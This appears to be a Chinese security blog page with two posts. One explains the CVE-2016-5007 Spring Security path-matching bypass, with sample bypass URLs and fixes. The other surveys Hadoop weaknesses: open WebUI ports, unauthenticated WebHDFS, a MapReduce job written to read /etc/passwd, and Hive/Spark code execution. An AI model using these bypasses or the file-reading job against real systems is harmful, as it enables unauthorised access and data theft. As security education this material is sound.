0c0c0f 发布的文章

CVE-2016-5007 Spring Security / MVC Path Matching Inconsistency

概要

  • 产品名称:Spring Web + Spring Security / Spring Boot
  • 标题:Spring Security / MVC Path Matching Inconsistency
  • CVE ID: CVE-2016-5007
  • Intrinsec ID:ISEC-V2016-01
  • 风险级别:中
  • 漏洞利用:远程
  • 影响:请求授权绕过

描述

此漏洞影响的Spring Web和Spring Security使用HttpSecurity.authorizeRequests用于URL访问控制的应用。

Spring提供了一个Spring Security使用文档:

http://docs.spring.io/spring-security/site/docs/current/reference/html/jc.html#authorize-requests

protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()                                                                
            .antMatchers("/resources/**", "/signup", "/about").permitAll()                  
            .antMatchers("/admin/**").hasRole("ADMIN")                                      
            .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")            
            .anyRequest().authenticated()                                                   
            .and()
        // ...
        .formLogin();
}

在以下示例中,用户”User”不是管理员,并且无法访问”/admin/”管理目录:

cve-2016-5007-1.png

但是,如果在URL中将空格(或其他空格字符)附加到”admin”前后,可以轻易绕过安全过滤器。

  • 附加空格(由浏览器自动编码为”%20″):

cve-2016-5007-2.png

  • %0D前置:

cve-2016-5007-3.png

问题是使用不同的匹配器来实现访问控制,并且识别哪个控制器类应该处理请求。用于访问控制的第一个匹配器是严格的:”admin “被认为不同于”admin”:

cve-2016-5007-4.png

然而,用于找到适当的控制器的第二匹配器应用删除每个URL令牌之前和之后的空白的修剪操作,因此”admin”变为”admin”:

cve-2016-5007-5.png

总之:

访问控制匹配器不识别受保护的路径,因此应用默认的“允许”规则,而控制器查找器匹配器找到受保护的控制器。

两个匹配器之间的严格性不匹配导致了这种情况。

这个漏洞危害性高低与否取决越权查看页面后查询数据的时候是否有校验当前用户的session。

影响版本

  • Spring Security 3.2.x,4.0.x,4.1.0
  • Spring框架3.2.x,4.0.x,4.1.x,4.2.x
  • 其他不受支持的版本也会受到影响

解决方案

Spring Security提供了可以将模式匹配委派给Spring框架的URL授权,要利用这个选项,应用程序应该升级到Spring Security 4.1.1+和Spring Framework 4.3.1+并使用MvcRequestMatcher。

Spring Framework 3.2.x,4.0.x,4.1.x,4.2.x的用户可以使用MVC Java配置或MVC命名空间将AntPathMatchertrimTokens属性设置为“false”。

此外,应用程序应该总是使用Spring Security的一种机制(例如添加@Secured注释),在应用程序的业务层使用额外的授权来补充基于URL的授权。

分享一个两年前的测试案例:

目标是基于拦截器的访问控制,但是系统做拦截判断的时候是采用完全匹配模式校验,所以可以轻易绕过。

http://xxx.com:8000/security/security!admin.action --blocking
http://xxx.com:8000////security/security!admin.action --bypass

简单总结下这个两个漏洞产生的原因:

第一个案例的问题问题出现在第二个规则检测前的数据处理工作,do_work(a)的时候已经不知道do_check(a)是什么内容了!这里能做什么?只能保证保持输入a不变,能做事就做,做不了就反馈错误!此类问题绝非个案,平时代码审计可以多加关注。

Reference

Hadoop渗透及安全加固

最近看到微博有人在讨论在Hadoop安全问题,也顺便了看一下。

hadoop1.jpg

前言

很多产品设计之初就是使用在内网,所以默认不开启身份认证或者压根就没有身份认证模块,这种设计理念是有问题的 。例如es、redis、mongodb这些基础设施级的软件就因为没有身份认证很多安全问题都是由它导致的 。同时产品的安全设计也不要寄托在开发人员/运维人员的安全意识上,即使是安全人员也有疏忽大意的时候。

Hadoop简介

Hadoop是一个由Apache基金会所开发的一个开源 高可靠 可扩展的分布式计算框架。Hadoop的框架最核心的设计就是:HDFS和MapReduce。

HDFS为海量的数据提供了存储,MapReduce则为海量的数据提供了计算。

HDFS是Google File System(GFS)的开源实现。

MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算。

安全问题

总的来说Hadoop安全问题涉及三个方面

WebUI敏感信息泄漏

Hadoop默认情况开放了很多端口提供WebUI,下面这些多多少少都会泄漏一些信息,但是总的来说在内网还好吧。

一、HDFS

1.NameNode 默认端口                    50070
2.SecondNameNode 默认端口        50090
3.DataNode 默认端口                       50075
4.Backup/Checkpoint node 默认端口  50105

二、MapReduce

1.JobTracker 默认端口    50030
2.TaskTracker 默认端口   50060

端口探测,扫描HDFS和MapReduce的WebUI对应的服务端口

hdoop2.jpg

hadoop.jpg

NameNode WebUI管理界面

通过NameNode节点管理HDFS

hadoop3.jpg

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

hadoop4.jpg

MapReduce代码执行漏洞

MapReduce demo:https://github.com/huahuiyang/yarn-demo

稍微改动了一下:

FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
   file = new FileInputStream("/etc/passwd");
   inputFileReader = new InputStreamReader(file, "utf-8");
   reader = new BufferedReader(inputFileReader);
   // 一次读入一行,直到读入null为文件结束
   while ((tempString = reader.readLine()) != null) {
      content += tempString;
   }
   reader.close();
} catch (IOException e) {
   e.printStackTrace();
} finally {
   if (reader != null) {
      try {
         reader.close();
      } catch (IOException e1) {
      }
   }
}
utput.collect(new Text(content), new IntWritable(1));

执行mapreduce任务:

bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result

查看执行结果:

bin cat result/part-00000

hadoop6.jpg

既然可以执行jar程序,执行系统命令还是很容易的,但是这个需要一个Hadoop的shell, 问题也不大。

Hadoop的第三方插件安全漏洞

Cloudera Manager <=5.5

  • Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
  • Template rename stored XSS (CVE-2016-4948)
  • Kerberos wizard stored XSS (CVE-2016-4948)
  • Host addition reflected XSS (CVE-2016-4948)

Cloudera HUE =< 3.9.0

  • Enumerating users with an unprivileged account (CVE-2016-4947)
  • Stored XSS (CVE-2016-4946)
  • Open redirect

Apache Ranger =< 0.5

  • Unauthenticated policy download
  • Authenticated SQL injection (CVE-2016-2174)

Apache Group Hadoop 2.6.x

  • Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)

Hive任意命令/代码执行漏洞

  • HQL可以通过transform自定义Hive使用的 Map/Reduce
    脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。。。

总结

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。

安全解决方案

reference